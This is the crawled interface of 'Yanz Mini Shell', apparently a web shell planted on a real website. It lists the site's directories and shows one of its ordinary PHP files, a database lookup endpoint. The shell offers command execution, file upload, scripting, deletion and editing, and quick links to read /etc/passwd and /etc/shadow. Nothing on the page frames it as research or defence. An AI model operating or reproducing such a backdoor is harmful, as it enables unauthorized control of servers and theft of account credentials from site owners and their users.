Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
datetimepicker
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); require_once '../../config/config.php'; error_log('function called'); // Check if the 'id' parameter is provided in the URL if (isset($_GET['id'])) { $id = $_GET['id']; // Prepare the SQL query to fetch the user with the given ID $sql = "SELECT m.* FROM `tbl_matrial_type` m WHERE m.id = :id"; $stmt = $pdo->prepare($sql); // Bind the 'id' parameter $stmt->bindParam(':id', $id, PDO::PARAM_INT); // Execute the query $stmt->execute(); // Fetch the user data $user = $stmt->fetch(PDO::FETCH_ASSOC); // If the user is found, return the data as JSON if ($user) { echo json_encode($user); } else { echo json_encode(['error' => 'Material not found']); } } else { echo json_encode(['error' => 'No ID provided']); } ?>
Free Space : 11077664768 Byte